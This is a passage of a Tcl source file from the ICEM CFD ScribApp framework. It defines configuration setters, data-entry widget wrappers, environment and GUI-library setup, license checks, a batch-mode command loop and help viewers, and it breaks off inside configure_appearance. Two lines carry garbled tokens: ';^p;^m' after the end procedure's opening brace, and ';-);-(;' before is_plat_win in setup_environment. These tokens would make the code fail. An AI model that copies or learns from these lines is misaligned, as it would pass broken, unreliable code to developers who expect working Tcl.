# 
# File: scrib/app/scribapp.tcl
#
# $Revision: 429625 $ on $Date: 2009-05-11 10:45:26 -0400 (Mon, 11 May 2009) $
# 
# Author: jason aftosmis (jason@icemcfd.com)
# Copyright (c) 1993-2003 ICEM CFD Engineering
#
#--------------------------------------------------------------------
#
# to do list:
#   -allow path to settings files
#
#--------------------------------------------------------------------
#
# Explanation of GUI-widget command layers, e.g. *_entry:
#
# scrib_app_data_entry:
#    this is the command the user puts in the config file to add a widget
#    it parse the args and calls:
# ScribApp::gui_dataFrame_entry:
#    this command does all row and columns, generally contextualizing
#    the scrib_app_data_entry command in the data_column, calling:
# ScribApp::gui_Widget_entry:
#    this is lowest scrib-native layer which creates and configure the
#    widget. right now it calls:
# form_entry (form guibase):
#    which command is just the current external layer on top of Tk.
#    it could as easily be BWidgets, or Tk itself. The point is
#    that within scrib app, you can depend on gui_Widget_entry
#    remaining constant.
#
#--------------------------------------------------------------------
#
# namespace ::ScribApp
#
namespace eval ::ScribApp {
    #
    variable _version 1.2
    #
    # these fuctions are exportable
    #
    namespace export stdout putdebug source_files scrib_app_standalone_script
    namespace export native_path shell package_current_state
    namespace export scrib_app_document_self help usage
    namespace export scrib_app_data_* scrib_app_tree_* scrib_app_status_update
    namespace export scrib_app_results_view
    #namespace export scrib_app_auxiliary_arrays_text 
    #
    # ---------------------------------------------
    #
    # this is how you start a Scrib Application (from ./main.tcl)
    #
    proc ::ScribApp { subApp args } {
	return [ScribApp::main "$subApp" $args]
    }
    #
    # this is given to ::ScribApp::main as argument subApp
    # this directory has the config.tcl, procedures.tcl, & data_column.tcl files
    #
    variable _debug      0
    variable _widget_module "guibase"
    variable _app_dir    ""
    variable _app_mode   interactive
    variable _app_script ""
    variable _regression_settings ""
    variable _side_buts  ""
    #
    # ----------------------------------------------
    # scrib_app_*:
    #      these procs are maps to command names used in
    #          config.tcl, data_column.tcl
    #      in order to configure the application
    #
    proc scrib_app_config_internal {var val} {
	putdebug "scrib_app_config_internal: $var $val"
	if [info exists ::ScribApp::_$var] {
	    set ::ScribApp::_$var $val
	} else {
	    stdout "can't set $var to $val: no such member\n"
	}
    }
    proc scrib_app_config_app_site {name} {
	scrib_app_config_internal site_name $name
    }
    proc scrib_app_config_app_name {name} {
	scrib_app_config_internal app_name $name
    }
    proc scrib_app_config_app_version {name} {
	scrib_app_config_internal app_version $name
    }
    proc scrib_app_config_gui_color {color} {
	scrib_app_config_internal window_color $color
    }
    proc scrib_app_scrib_data_set {var val} {
	putdebug "scrib_app_scrib_data_set: $var $val"
	#if [info exists ::ScribApp::_scrib_data($var)]
	set ::ScribApp::_scrib_data($var) $val
    }
    
    proc scrib_app_scrib_data_get {var} {
	return $::ScribApp::_scrib_data($var)
    }
    
    proc scrib_app_scrib_get_value {var} {
	if {([info exists ::ScribApp::_scrib_data($var)]) && ("" != $::ScribApp::_scrib_data($var))} { 
            return 1
	  } else {
            return 0
	  } 
    }
   
    
    proc scrib_app_use_custom_med_menu {suffix} {
	global env
	set file [file join $env(ICEM_SCRIB) med_menus menus_${suffix}.tcl]
	if ![file exists $file] {
	    stdout "cannot get get med custom menu file $file to use!\n"
	    return 1
	}
	scrib_app_set_environment ICEM_MED_MENUS_FILE $file
	scrib_app_set_environment ICEM_USE_MENUBAR 3
	return 0
    }
    # this one can run into permissions problems. use the one above.
    proc scrib_app_install_custom_med_menu {suffix} {
	global env
	set file [file join $env(ICEM_SCRIB) med_menus menus_${suffix}.tcl]
	if ![file exists $file] {
	    stdout "cannot get get med custom menu file $file to install!\n"
	    return 1
	}
	if [scrib_app_install_medgui_file $file] {
	    stdout "could not install custom med_gui file for $suffix!\n"
	    stdout "try using the command \"scrib_app_use_custom_med_menu\" instead!\n"
	    return 1
	}
	scrib_app_set_environment ICEM_MED_MENUS_SUFFIX $suffix
	scrib_app_set_environment ICEM_USE_MENUBAR 3
	return 0
    }
    proc scrib_app_install_file {file dest} {
	putdebug "scrib_app_install_file: $file $dest"
	catch { cmd_cp $file $dest } res
	if {"" != $res} {
	    putdebug $res 
	    return 1
	}
	return 0
    }
    proc scrib_app_install_medgui_file {file} {
	global env
	set dest [file join $env(ICEM_ACN) lib med_gui]
	return [scrib_app_install_file $file $dest]
    }
    proc scrib_app_set_environment {var val {override 0}} {
	return [::ScribApp::env_set_val $var $val $override]
    }
    proc scrib_app_button_add {command desc} {
	return [ScribApp::gui_button_add $command $desc]
    }
    proc scrib_app_side_button_add {command desc} {
	return [ScribApp::gui_side_button_add $command $desc]
    }
    proc scrib_app_button_shell {} {
	return [scrib_app_button_add "::ScribApp::shell" "Shell"]
    }
    #
    # beginning and ending a notebook page in the data_column
    #
    proc scrib_app_data_notebook_begin {} {
	return [ScribApp::gui_dataNotebook_begin]
    }
    proc scrib_app_data_notebook_end {} {
	return [ScribApp::gui_dataNotebook_end]
    }
    proc scrib_app_data_notebook_page_begin {name} {
	return [ScribApp::gui_dataNotebookPage_begin $name]
    }
    proc scrib_app_data_notebook_page_end {} {
	return [ScribApp::gui_dataNotebookPage_end]
    }    
    proc scrib_app_data_notebook_regression_page {} {
	if ![regression_is_on] { return 0 }
	return [scrib_lib_hyperwidget_regression_notebook_page]
    }
    #
    # beginning and ending a frame on current page in the data_column
    #
    proc scrib_app_data_frame_begin {name args} {
	set active ""
	foreach {n v} [lrange $args 0 end] {
	    if {"-" != [string range $n 0 0]} {
		stdout "scrib_app_data_frame_begin cannot interpret tag $n!\n" red
		continue
	    }
	    set [string range $n 1 end] $v
	}
	return [ScribApp::gui_dataFrame_begin $name $active]
    }
    proc scrib_app_data_frame_end {} {
	return [ScribApp::gui_dataFrame_end]
    }
    #
    # things that can go into a data_frame or data_notebook_page
    #
    proc scrib_app_data_comment {args} {
	# args is description, get the 0th element of it
	return [ScribApp::gui_dataFrame_comment [lindex $args 0]]
    }
    proc scrib_app_data_comment_t {args} {
	set text [lindex $args 0]
	set active ""
	foreach {n v} [lrange $args 1 end] {
	    if {"-" != [string range $n 0 0]} {
		stdout "scrib_app_data_comment_t cannot interpret tag $n!\n" red
		continue
	    }
	    set [string range $n 1 end] $v
	}
	return [ScribApp::gui_dataFrame_comment $text $active]
    }
    proc scrib_app_data_toggle {args} {
	#
	# optional args
	#
	set def    0
	set active ""
	#
	foreach {n v} $args {
	    if {"-" != [string range $n 0 0]} {
		stdout "scrib_app_data_toggle_t cannot interpret tag $n!\n" red
		continue
	    }
	    set [string range $n 1 end] $v
	}
	#
	# check for required args
	#
	set required_args {var desc}
	#
	foreach ra $required_args {
	    set varname $ra
	    if ![info exists $varname] {
		stdout "scrib_app_data_toggle cannot proceed without $varname\n" red
		return ""
	    }
	}
	set def [ScribApp::defaults_register $var $def]
	return [ScribApp::gui_dataFrame_toggle $var $desc $def $active]
    }
    proc scrib_app_data_choicelist {args} {
	#
	# optional args
	#
	set def  ""
	set active ""
	#
	foreach {n v} $args {
	    if {"-" != [string range $n 0 0]} {
		stdout "scrib_app_data_choicelist cannot interpret tag $n!\n" red
		continue
	    }
	    set [string range $n 1 end] $v
	}
	#
	# check for required args
	#
	set required_args {var desc choices}
	#
	foreach ra $required_args {
	    set varname $ra
	    if ![info exists $varname] {
		stdout "scrib_app_data_choicelist cannot proceed without variable \"$varname\"\n" red
		return ""
	    }
	}
	set def [ScribApp::defaults_register $var $def]
	return [ScribApp::gui_dataFrame_choicelist $var $desc \
		$choices $def $active]
    }
    proc scrib_app_data_radio {args} {
	#
	# optional args
	#
	set def  ""
	set active ""
	#
	foreach {n v} $args {
	    if {"-" != [string range $n 0 0]} {
		stdout "scrib_app_data_radio cannot interpret tag $n!\n" red
		continue
	    }
	    set [string range $n 1 end] $v
	}
	#
	# check for required args
	#
	set required_args {var desc choices}
	#
	foreach ra $required_args {
	    set varname $ra
	    if ![info exists $varname] {
		stdout "scrib_app_data_radio cannot proceed without $varname\n" red
		return ""
	    }
	}
	set def [ScribApp::defaults_register $var $def]
	return [ScribApp::gui_dataFrame_radioset $var $desc \
		    $choices $def $active]	
    }
    proc scrib_app_data_listbox {args} {
	#
	# optional args
	#
	set def  ""
	set active ""
	set dclick_cmd ""
	set multiple 1
	#
	foreach {n v} $args {
	    if {"-" != [string range $n 0 0]} {
		stdout "scrib_app_data_listbox cannot interpret tag $n!\n" red
		continue
	    }
	    set [string range $n 1 end] $v
	}
	#
	# check for required args
	#
	set required_args {var desc}
	#
	foreach ra $required_args {
	    set varname $ra
	    if ![info exists $varname] {
		stdout "scrib_app_data_listbox cannot proceed without $varname\n" red
		return ""
	    }
	}
	if ![info exists choices] {
	    if [info exists choices_cmd] {
		if {$choices_cmd != [info commands $choices_cmd]} {
		    stdout "Error: cannot find the command \"$choices_cmd\" for $desc\n" red
		    return 0
		}
		set choices [eval $choices_cmd]
	    } else {
		stdout "scrib_app_data_listbox cannot exist without choices or choices_cmd\n" red
		return 0
	    }
	}
	
	set def [ScribApp::defaults_register $var $def]
	return [ScribApp::gui_dataFrame_listbox $var $desc $choices $dclick_cmd $def $multiple $active]
    }
    proc scrib_app_data_tree {args} {
	#
	# optional args
	#
	set def  ""
	set active ""
	set dclick_cmd ""
	set multiple 1
	set mouse1_text_cmd ""
	set mouse2_text_cmd ""
	set mouse3_text_cmd ""
	set mouse1_image_cmd ""
	set mouse2_image_cmd ""
	set mouse3_image_cmd ""
	#
	foreach {n v} $args {
	    if {"-" != [string range $n 0 0]} {
		stdout "scrib_app_data_listbox cannot interpret tag $n!\n" red
		continue
	    }
	    set [string range $n 1 end] $v
	}
	#
	# check for required args
	#
	set required_args {var desc}
	#
	foreach ra $required_args {
	    set varname $ra
	    if ![info exists $varname] {
		stdout "scrib_app_data_listbox cannot proceed without $varname\n" red
		return ""
	    }
	}
	
	return [ScribApp::gui_dataFrame_tree $var $desc $mouse1_image_cmd $mouse2_image_cmd $mouse3_image_cmd \
		    $mouse1_text_cmd $mouse2_text_cmd $mouse3_text_cmd]
    }
    proc scrib_app_data_entry {args} {
	global data_base_dir env
	#
	# optional args
	#
	set def  ""
	set select 0
	set allow_new 1
	set active ""
	set compute_cmd "" ;# xx
	#
	foreach {n v} $args {
	    if {"-" != [string range $n 0 0]} {
		stdout "scrib_app_data_entry_t cannot interpret tag $n!\n" red
		continue
	    }
	    set [string range $n 1 end] $v
	}
	#
	# check for required args
	#
	set required_args {var desc type}
	#
	foreach ra $required_args {
	    set varname $ra
	    if ![info exists $varname] {
		stdout "scrib_app_data_entry_t cannot proceed without $varname\n" red
		return ""
	    }   
	}
	set def [ScribApp::defaults_register $var $def]
	return [ScribApp::gui_dataFrame_entry $var $desc $type \
		$def $select $allow_new $active $compute_cmd]
    }
    proc scrib_app_data_meshing_params_button {args} {
	stdout "scrib_app_data_meshing_params_button: NOT (entirely) IMPLEMENTED!\n" red
	#
	set params ""
	set active ""
	#
	foreach {n v} $args {
	    if {"-" != [string range $n 0 0]} {
		stdout "scrib_app_data_curve_params_button cannot interpret tag $n!\n" red
		continue
	    }
	    set [string range $n 1 end] $v
	}
	#
	# check for required args
	#
	set required_args {type method}
	#
	foreach ra $required_args {
	    set varname $ra
	    if ![info exists $varname] {
		stdout "scrib_app_data_curve_params_button cannot proceed without $varname\n" red
		return ""
	    }
	}
	return [ScribApp::gui_dataFrame_meshingParams_post $type $method $params $active]
    }
    #
    #---------------------------------------------------
    #
    # these must be read from the config.tcl file
    #
    variable _site_name    ""
    variable _app_name     ""
    variable _app_version  ""
    variable _int_app_name ""
    variable _buts         ""
    variable _cmds         ""
    variable _option_menus ""
    #
    # these are determined at runtime by the application
    #
    variable _scrib_path    ""
    variable _icem_path     ""
    variable _settings_file ""
    variable _window_color  gray
    variable _top_window_path   ".scribapp"
    variable _cur_path      ""
    variable _data_frame
    #        _is_win:       -1 is the uninitialized state
    variable _is_win        -1    
    #
    # -------------------------------------------------------
    #
    # these can be gotten from user settings_file in home dir
    # this is the way a procedures.tcl gets data from the gui
    # this variable is really important to document...later...
    #
    #
    #variable _auxiliary_arrays ""
    variable _scrib_data
    variable default_vals_from_datacol
    variable _mesh_param_data    
    #    
    #
    #-------------------------------------------------------
    #
    proc scrib_app_data_get {} {
	global proc_scrib_data
	# must reget, in case of any changes...
	array set proc_scrib_data [::ScribApp::getDataAndProcs]
	#
	# ------> This is kind of a work-a-round
	# reset the wdir and out directories based on the cad_dir
	#
	set base_dir ""
	if [info exists proc_scrib_data(cad_dir)] {
	    set base_dir $proc_scrib_data(cad_dir)
	} else {
	    return 0
	}
	if [info exists proc_scrib_data(wdir)] {
	    set proc_scrib_data(wdir) [scrib_lib_util_make_relative_path_absolute $base_dir $proc_scrib_data(wdir)]
	}
	if [info exists proc_scrib_data(export_dir)] {
	    #set proc_scrib_data(export_dir) [scrib_lib_util_make_relative_path_absolute $base_dir $proc_scrib_data(export_dir)]
	    # simon wants export_dir under the wdir, if relative
	    set proc_scrib_data(export_dir) [scrib_lib_util_make_relative_path_absolute $proc_scrib_data(wdir) \
						 $proc_scrib_data(export_dir)]
	} else {
	    set proc_scrib_data(export_dir) $proc_scrib_data(wdir)
	}
	# <------ This is kind of a work-a-round
	return 1
    }
    proc scrib_app_tree_get_separator {tree_var_name} {	
	global $tree_var_name
	
	array set tree_array [array get $tree_var_name]
	
	if ![info exists tree_array(__SEPARATOR__)] {
	    set tree_array(__SEPARATOR__) ","
	}
	return $tree_array(__SEPARATOR__)
    }
    proc scrib_app_tree_get_path {tree_var_name} {
	global $tree_var_name
	
	array set tree_array [array get $tree_var_name]
	
	if ![info exists tree_array(__TREE__)] {
	    set tree_array(__TREE__) ""
	}
	return $tree_array(__TREE__)
	
    }
    proc scrib_app_tree_get_nodes {tree {path root}} {
	set stat [catch {$tree nodes $path} nodes]
	if $stat {
	    mess "Error: getting nodes: $nodes\n" red
	    return ""
	}
	set public_nodes ""
	foreach n $nodes {
	    
	    set split_n [split  $n ",'"] ;# fixme: hashkey separator assumption! --jka
	    set lastel  [lindex $split_n end]
	    
	    if {("__" == [string range $split_n 0 1]) && \
		    ("__" == [string range $split_n end-1 end]) } {
		continue
	    }
	    lappend public_nodes $n
	}
	return $public_nodes
    }
    proc scrib_app_tree_node_get_data {tree node} {
	set stat [catch {$tree itemcget $node -data} data]
	if $stat {
	    mess "Error: getting node data: $data\n" red
	    return ""
	}
	return $data
    }
    proc scrib_app_tree_node_configure_text {tree node text} {
	set stat [catch {$tree itemconfigure $node -text $text} res]
	if $stat {
	    mess "Error: configuring node text: $res\n" red
	}
	return $stat
    }
    proc scrib_app_tree_node_configure_image {tree node image} {
	set stat [catch {$tree itemconfigure $node -image $image} res]
	if $stat {
	    mess "Error: configuring node image: $res\n" red
	}
	return $stat
    }
    proc scrib_app_status_update {new_text} {
	if ![info exists ::ScribApp::_data_frame(status_text_path)] {
	    return
	}
	set status_text_path $::ScribApp::_data_frame(status_text_path)
	if {"" == $status_text_path} {
	    return
	}
	$status_text_path configure -text "\nStatus: $new_text	"
    }
    
    proc scrib_app_results_view_html {html_file} {

	set mozilla_path [get_path mozilla 1]
	set netscape_path [get_path netscape 1]
        if {"" != $mozilla_path} { 
        exec $mozilla_path file:$html_file &   
        }
        if {"" == $mozilla_path} {
          if {"" == $netscape_path} {
           mess "Error: Could not find Mozilla/Netscape" red
           return
            } else {
              exec $netscape_path file:$html_file &
            }
          }
    } 

      
    proc scrib_app_results_view {{ml_file ""}} {
	variable last_xml_report
	variable ml_viewer_program
	
	if {"" == $ml_file} {
	    set desc "test results file (.xml)"
	    if [info exists last_xml_report] {
		set def $last_xml_report
	    } else {
		set def ""
	    }
	    set ml_file [file_select "Select a $desc file" $def $desc 0 0]
	    if {"" == $ml_file} {
		return ""
	    }
	}
	
	set url "file://$ml_file"

		
	if [scrib_lib_utils_iswin] {
	    set prog start
	    mess "Starting help viewer: \"$prog $url\"\n"
	    exec $prog $url &
	} else {
	    if {$ml_viewer_program == ""} {
		user_error "No help program could be found!"
		return
	    }
	    mess "Starting help viewer: \"$ml_viewer_program $url\"\n"
	    if [catch {exec $ml_viewer_program -remote openurl($url)} res] {
		if ![string match {*warning*} $res] {
		    mess $res
		    exec $ml_viewer_program $url &
		}
	    }
	}
    }

    
    proc scrib_app_standalone_script {} {
	::ScribApp::standaloneScript_export
    }
    proc scrib_app_document_self {} {
	global prog_guide_files source_dirs
	set prog_guide_files [scrib_lib_source_files_get]
	set source_dirs [file join ${::ScribApp::_scrib_path} lib]
	file_pguide
    }
    
    proc ::ScribApp::getDataAndProcs {} {
	#
	# give the calling function access to the exported commands
	#
	uplevel \#0 namespace import -force ::ScribApp::*
	uplevel \#0 namespace import -force ::ScribLib::*
	#
	# and give it back the array values from the gui
	#
	return [array get ::ScribApp::_scrib_data]
    }
    proc ::ScribApp::get_exported_procs {} {
	#
	# give the calling function access to the exported commands
	#
	uplevel \#0 namespace import -force ::ScribApp::*
    }
    proc ::ScribApp::gui_Widget_module {} {
	return $::ScribApp::_widget_module
    }
    proc ::ScribApp::regression_is_on {} {
	if {"" == $::ScribApp::_regression_settings} { return 0 }
	return 1
    }
    proc ::ScribApp::regression_test {} {
	if {"" == $::ScribApp::_regression_settings} { return 0 }
	return 1
    }    
}
#------------------------------------------------------------------
#
#
#
proc ::ScribApp::main { subApp args } {
    #
    # withdraw the Tk root window
    #
    catch {wm withdraw .}
    #
    # --> the subApp directory has the config.tcl file etc.
    #
    set ::ScribApp::_app_dir $subApp
    set config_file_first 0
    #
    # --> (strip down if necessary and) parse the args
    #
    while {1 == [llength $args]} {
	set args [lindex $args 0]
	if {"-" == [string range [lindex $args 0] 0 0]} { break }
    }
    
    set argv $args ; #[eval split $args]
    set argc [llength $argv]
    set il 0
    while {$il < $argc} {
	set a [lindex $argv $il]
	switch -- $a {
	    "-batch" {
		set ::ScribApp::_app_mode batch
	    }
	    "-debug" {
		set ::ScribApp::_debug 1
	    }
	    "-script" {
		incr il
		set ::ScribApp::_app_script [lindex $argv $il]
	    }
	    "-regression" {
		#incr il
		#set ::ScribApp::_regression_settings [lindex $argv $il]
		#set ::ScribApp::_app_mode batch
		set ::ScribApp::_regression_settings 1
	    }
	    "-config_file_first" {
		set config_file_first 1
	    }
	    "-widgets" {
		incr il
		set ::ScribApp::_widget_module [lindex $argv $il]
		stdout "Warning: cannot honor request for widget module: $::ScribApp::_widget_module\n" red
	    }
	    "" - "{}" { }
	    default {
		stdout "Sorry, I do not recognize option $a..."
	    }
	}
	incr il
    }
    #
    # --> get some environment variables into the namespace; determine platform
    #
    set stat [catch {setup_environment} res]
    if $stat {
	stdout "could not setup ScribApp environment...\n" red
	exit
    }
    #
    # --> print warnings for lack of licenses; note that the licensings are checked
    #      in the compiled code--this just lets them know not to waste their time
    #      until they get a license
    print_any_license_warnings
    #
    #
    configure_appearance     
    #
    # --> import the scrib_lib namespace & the batch-queue module
    #
    setup_guibase
    setup_scriblib
    setup_batch_queue
    setup_ic_xml
    #
    #
    #
    variable ml_viewer_program    
    if [scrib_lib_utils_iswin] {
	set ml_viewer_program start
    } else {
	set ml_viewer_program [get_path mozilla 1]
	if {$ml_viewer_program == ""} { set ml_viewer_program [get_path netscape 1] }
    }
    #
    # --> source the users procedures from procedures.tcl
    #     do this now, so that we know whether or not we can
    #     post buttons which refer this functions imported here
    #
    if $config_file_first {
	userInfo_load
    }
    procedures_load
    #
    # --> get the Scrib config file so we can build the application
    #
    if [configure_application] {
	error "couldn't configure application....must exit."
    }
    putdebug $::ScribApp::_site_name
    putdebug $::ScribApp::_app_name
    putdebug $::ScribApp::_app_version
    #
    # --> 
    #
    set ::ScribApp::_int_app_name "scrib_[file tail ${::ScribApp::_app_dir}]"
    #set ::ScribApp::_settings_file ".icemcfd_${::ScribApp::_int_app_name}_settings" ;#old; legacy
    #set ::ScribApp::_settings_file "${::ScribApp::_app_dir}_settings.bsm"
    #
    # --> get the guibase files necessary
    #
    #    
    # --> do the rest based on the application mode
    #
    switch -- $::ScribApp::_app_mode {
	interactive {
	    #
	    # --> create the gui
	    #
	    gui_create
	    #
	    welcome
	    #
	    if !$config_file_first {
		userInfo_load
	    }
	}
	batch {
	    stdout "\n"
	    welcome
	    if {"" != $::ScribApp::_app_script} {
		# source a script file it's been specified, then exit
		source_files $::ScribApp::_app_script		
	    } elseif {"" != $::ScribApp::_regression_settings} {
		# run the regression test in the given dir with script
		return [regressionTest_run]
	    }
	    
	    # make a little "scribapp>" command shell...
	    while { 1 } {
		stdout "\nscribapp>"
		set line [ gets stdin ]
		catch { eval $line } res
		stdout "$res\n"
	    }
	}
    }
    #
    # --> special proc name "app_proc_after_gui_configure" gets called automatically
    #
    if {"" != [info command app_proc_after_gui_configure]} {
	app_proc_after_gui_configure
    }
    #
    # make sure that if they kill via the window-manager, all cleanup is called...
    #
    wm protocol $::ScribApp::_top_window_path WM_DELETE_WINDOW ::ScribApp::end
}
#------------------------------------------------------------------
#
# ::ScribApp::end: the Done button calls this command. it asks user to save settings
#
proc ::ScribApp::end {} {;^p;^m
    #
    # ask to save the settings
    #
    set save_answer [::ScribApp::userInfo_save 1]
    if {"*cancel*" == $save_answer} {
	return 0 
    }
    #
    # Make sure that java help quits too
    #
    namespace eval ::AIEnv::GUIManagement {
	global env
	catch {source [file join $env(ICEM_ACN) lib ai_env scripts aie_contexHelp.tcl]}
	catch {source [file join $env(ICEM_ACN) lib ai_env scripts aie_javahelp.tcl]}
         catch  {chmhlp_intialize}
    }
    if {"" != [info commands ::AIEnv::GUIManagement::hlp_sendcommand]} {
	::AIEnv::GUIManagement::hlp_sendcommand QUIT
    }
    #
    # check for running med proccesses and remove execution-traces (tmpfile, etc.)
    #
    scrib_lib_exec_armageddon
    #
    # then exit
    #
    exit
}
#------------------------------------------------------------------
#
# ::ScribApp::putdebug will print if debugging is on
#
proc ::ScribApp::putdebug {text {color blue}} {
    global debug
    
    if {[info exists debug] || (1 == $::ScribApp::_debug)} {
	return [::ScribApp::stdout "$text\n" $color]
    }
}
#------------------------------------------------------------------
#
# ::ScribApp::shell
#
proc ::ScribApp::shell {{dir ""}} {
    set back [pwd]
    if {("" != $dir) && [file isdirectory $dir]} {
	cd $dir
    }
    catch {cmd_xterm &}
    if {"" != $dir} { cd $back }    
}
#------------------------------------------------------------------
#
#
#
proc ::ScribApp::applicationIdent {} {
    set app_ident "\"$::ScribApp::_app_name\" "
    if {"" != $::ScribApp::_app_version} {
	append app_ident "v. $::ScribApp::_app_version "
    }
    append app_ident "built on ANSYS/ICEM CFD ScribApp v. $::ScribApp::_version"
    return $app_ident
}
proc ::ScribApp::welcome {} {
    stdout "Running [applicationIdent]\n" blue
    stdout "For user help, type: \"help\"\n"
    #stdout "For programming-related options, type:\t\"usage\"\n"
}
#------------------------------------------------------------------
#
# ::ScribApp::stdout will know where to print warnings and messages
#
proc ::ScribApp::stdout {text {color ""}} {
    
    if {"mess" == [info commands mess]} {
	scrib_lib_mess $text $color
    } else {
	puts $text
    }
}
#------------------------------------------------------------------
#
# ::ScribApp::help will print some command doc to the screen
#
proc ::ScribApp::help {} {
    ::ScribApp::help_init
}
#
#
#
proc ::ScribApp::help_init {} {
    
    stdout "\nStarting documetation viewer:\n" blue
    
    # this would let/make it load scrib-specific help
    
    global help_dir help_base env
    set help_dir [file join $env(ICEM_ACN) help scrib]
    set help_base scrib

    global helpset_global
    if [info exist env(ICEM_AI_ENVIRONMENT)] {
      set helpset_global "scrib"
    }
    
    help_setup
    help_main_topic    
}
#------------------------------------------------------------------
#
# ::ScribApp::usage will print some command doc to the screen
#
proc ::ScribApp::usage {} {
    stdout "Printing usage...\n" blue
    stdout "For a shell window, type:\t\t\t\"shell\"\n"
    #stdout "To print scrib_app commands available, type:\tscrib_app_comands\n" blue
    stdout "For scripting library documentation, type:\t\"scrib_app_document_self\"\n"
    stdout "\n"
}
#------------------------------------------------------------------
#
# ::ScribApp::native_path will return a native path
#
proc ::ScribApp::native_path {path} {
    if [is_plat_win] {
	regsub -all \\\\ $path / path
    }
    return $path
}
#------------------------------------------------------------------
#
# ::ScribApp::is_plat_win: return whether or not windows, determines if uninit'ed
#
proc ::ScribApp::is_plat_win {} {
    global is_win
    #
    # if it's already been set (>= 0) return the val
    #
    if {0 <= $::ScribApp::_is_win} {
	return $::ScribApp::_is_win
    }
    #
    # otherwise, determine and set and return val
    #
    if [info exists tcl_platform(platform)] {
	set ::ScribApp::_is_win [string compare $tcl_platform(platform) unix]
    } else {
	set ::ScribApp::_is_win [expr ![file exists /etc/passwd]]
    }
    set is_win $::ScribApp::_is_win
    return $is_win
}
#------------------------------------------------------------------
#
# ::ScribApp::print_any_license_warnings:
#    let the user know now if they don't have the license to run med later
#
proc ::ScribApp::print_any_license_warnings {} {
    global env scrib_app_required_licenses
    
    if [info exists env(ICEM_AI_ENVIRONMENT)] return
    
    #
    set test_lic_path [file join $env(ICEM_ACN) bin test_licensing]
    set scrib_app_required_licenses "scrib_app_v1"
    set licenses_med_will_ask_for "med_batch_surf"
    #
    foreach lic $licenses_med_will_ask_for {
	if [catch { exec $test_lic_path $lic } status] {
	    set backup "-keep ansys 257 0 {} 0"
	    if [catch { eval exec "{$test_lic_path} $backup" } status] {
		stdout "\nComponents of the this module require the license key for the string $lic.\n \
		    You will encounter licensing troubles in execution.\n \
		    Please contact ICEM CFD for a license for this product\n\n \
		    $status\n"
		#exit
	    }
	}
    }
}
#------------------------------------------------------------------
#
# ::ScribApp::setup_environment: set the necessary environment variables to run a ScripApp
#
proc ::ScribApp::setup_environment {} {
    global env
    #
    # determine platform; whether or not it is windows
    ;-);-(;is_plat_win
    #
    if ![info exists env(ICEM_SCRIB)] {
	if ![info exists env(ICEM_ACN)] {
	    puts "insufficient environment variables: set ICEM_SCRIB or ICEM_ACN\n"
	    return -1
	}
	set other_possible_dir [file join $env(ICEM_ACN) lib scrib]
	if [file isdirectory $other_possible_dir] {
	    set env(ICEM_SCRIB) $other_possible_dir
	} else {
	    puts "no scrib library exists in ICEM_ACN\n"
	    return -1
	}
    }
    set l_scrib_path $env(ICEM_SCRIB)
    set l_icem_path  $env(ICEM_ACN)
    set ::ScribApp::_scrib_path [native_path $l_scrib_path]
    set ::ScribApp::_icem_path  [native_path $l_icem_path]
    
    return 0
}
#------------------------------------------------------------------
#
# ::ScribApp::setup_scriblib:
#
proc ::ScribApp::setup_scriblib {} {
    #
    set libpath [file join ${::ScribApp::_scrib_path} lib scriblib.tcl]
    if ![file isfile $libpath] {
	stdout "Error: cannot load scripting library!\n" red
	return 1
    }
    #
    # do a local source
    #
    source "$libpath"
    #
    ::ScribLib
    #
    uplevel \#0 ::ScribLib::get_exported_procs
    return 0
}
#------------------------------------------------------------------
#
# ::ScribApp::source_file
#
proc ::ScribApp::source_files {filelist {scope global}} {
    # these are for guibase/bltemu.tcl et al
    global tcl_version has_blt
    
    foreach f $filelist {
	if  ![file exists "$f"] {
	    set f [native_path "$f"]
	}	
	if ![file exists "$f"] {
	    set f "${f}.tcl"
	}
	if ![file exists "$f"] {
	    stdout "could not load source file $f!"
	    continue
	}
	#
	# note the uplevel--into global namespace
	#
	switch $scope {
	    global {
		uplevel \#0 "source {$f}"
		putdebug "sourced file $f into global namespace\n"
	    }
	    default {
		source "$f"
		putdebug "sourced file $f into ScribApp namesapce\n"
	    }
	}
    }
}
#------------------------------------------------------------------
#
# ::ScribApp::env_set_val: set an environment variable
#
proc ::ScribApp::env_set_val {name val {override 0}} {
    global env
    
    putdebug "setting environment $name $val ; overriding? $override\n"
    
    if {!$override && [info exists env($name)] && ($val != $env($name))} {	
	stdout "not overriding env($name) of $env($name)\n"
	return
    }
    set env($name) $val
}
#------------------------------------------------------------------
#
# ::ScribApp::setup_batch_queue ;FIXME
#
proc ::ScribApp::setup_batch_queue {} {
    global env
    
    set bq_setup_file [file join $env(ICEM_SCRIB) .. batch_queue setup.tcl]
    
    if ![file isfile "$bq_setup_file"] {
	stdout "Warning: cannot find batch-queueing module...must disable module.\n"
	return 1
    }
    if [catch {uplevel \#0 "source {$bq_setup_file}"} res] {
	stdout "Error: $res\n" red
	return 1
    }
    return 0
}
#------------------------------------------------------------------
#
# ::ScribApp::setup_ic_xml ;FIXME
#
proc ::ScribApp::setup_ic_xml {} {
    global env
    
    set icxml_setup_file [file join $env(ICEM_SCRIB) .. ic_xml lib ic_xml_setup.tcl]
    
    if ![file isfile "$icxml_setup_file"] {
	stdout "Warning: cannot find ic_xml module...must disable module.\n"
	return 1
    }
    if [catch {uplevel \#0 "source {$icxml_setup_file}"} res] {
	stdout "Error: $res\n" red
	return 1
    }
    return 0
}
#------------------------------------------------------------------
#
# ::ScribApp::setup_guibase:
#
proc ::ScribApp::setup_guibase {} {
    global tcl_version
    global has_blt small_screen_hack toplevel
    global env guibase_dir
    
    if ![info exists tcl_version] {
	set tcl_version [info tclversion]
    }    
    if ![info exists toplevel(single)] {
	set toplevel(single) 0
    }
    if ![info exists toplevel(single)] {
	set toplevel(single) 0
    }    
    #
    # get guibase from $env(ICEM_ACN)
    #
    if {[info exists env(GUIBASE_DIR)] && [file isdirectory $env(GUIBASE_DIR)]} {
	set guibase_dir [native_path $env(GUIBASE_DIR)]
    } else {
	set guibase_dir [file join ${::ScribApp::_icem_path} lib guibase]
    }
    #
    # the guibase files
    #
    foreach f {
	busy
	toplevel
	bltemu	
	exec_cmds
	query
	misc
	fileselect
	settings
	help
	sizes
	forms
	formutil
	poll
	configfile
	my-tkerror
	wizard
	process
	questionbox
	flexlist
	makedoc
	run_application
	poll
	interrupt
    } {
	uplevel \#0 "source {[file join $guibase_dir $f.tcl]}"
    }
}
#
#------------------------------------------------------------------
#
# ::ScribApp::configure_appearance
#
proc ::ScribApp::configure_appearance {} {
    # this is necessary in case there are env's in paths given !!
    global env
    
    switch $::ScribApp::_window_color {
	grey - gray {
	    global gray_background
	    set gray_background 1
